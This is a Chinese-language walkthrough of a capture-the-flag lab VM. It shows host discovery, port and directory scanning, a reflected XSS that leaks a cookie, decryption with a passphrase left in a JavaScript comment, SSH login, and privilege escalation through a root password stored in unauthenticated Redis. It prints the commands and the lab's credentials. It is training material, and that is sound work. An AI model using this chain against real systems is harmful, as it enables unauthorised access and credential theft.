转于:安全牛课堂 2023-03-31 17:00 发表于河北
1 靶机目标 root权限+2个flag
2 详细步骤 一、主机发现
sudo arp-scan -l
二、端口扫描
sudo nmap -p- 10.0.0.20sudo nmap -p22,80 -sC -sV 10.0.0.20
三、Web信息收集
点击其中一个图片
再次点击图片,发现一个id参数
测试是否存在SQL注入、文件包含漏洞,均不成功,只是回显输入信息
测试是否存在反射型XSS漏洞,确实存在
可以弹出Cookie
cookie=U2FsdGVkX193yTOKOucUbHeDp1Wxd5r7YkoM8daRtj0rjABqGuQ6Mx28N1VbBSZt
经Base64解码以后得到是一串加了“盐”的内容
echo -n "U2FsdGVkX193yTOKOucUbHeDp1Wxd5r7YkoM8daRtj0rjABqGuQ6Mx28N1VbBSZt" | base64 -dSalted__w�3�:�lw��U�w��bJ ��=+�j▒�:3�7U[&m
尝试目录爆破,发现一个js目录
sudo dirsearch -u http://10.0.0.20
尝试访问js目录下的文件
通过阅读js文件中的注释文件得知: ●crypto-js可能是js的加密套件 ●SecretPassphraseMomentum可能是解密密钥
function viewDetails(str) {
window.location.href = "opus-details.php?id="+str;}
/*var CryptoJS = require("crypto-js");var decrypted = CryptoJS.AES.decrypt(encrypted, "SecretPassphraseMomentum");console.log(decrypted.toString(CryptoJS.enc.Utf8));*/
使用Crypto-JS在线解密工具在线加密解密获得如下信息:
auxerre-alienum##
用该信息ssh远程连接靶机,登录成功
auxerreauxerre-alienum##
四、主机信息收集 获取flag1
pwdlscat user.txt
主机信息收集
uname -alsb_release -asudo -l
搜索利用代码
searchsploit 4.19
但经测试,这4个脚本都无法提权成功 尝试其他信息收集,发现靶机内存在redis用户,但redis数据库在安全性上一直比较薄弱,默认安装完成后默认监听6379端口,可以非授权访问
cat /etc/passwd
查看系统开放端口和进程情况,确认靶机确实运行了redis数据库
ss -pantups -aux | grep redis
五、Redis数据库信息收集 连接本机redis数据库
redis-cli
测试redis数据库是否启用身份证认证,若未启用则直接输出打印相关信息
info
且数据库中存在数据一个“键值对”
查询keys“键”名称
KEYS *rootpass
查询keys中的“值”
GET rootpassm0mentum-al1enum##
退出数据库
exit
六、Root su提权
sum0mentum-al1enum##id
获取flag2
cat /root/root.txt
相关阅读:
|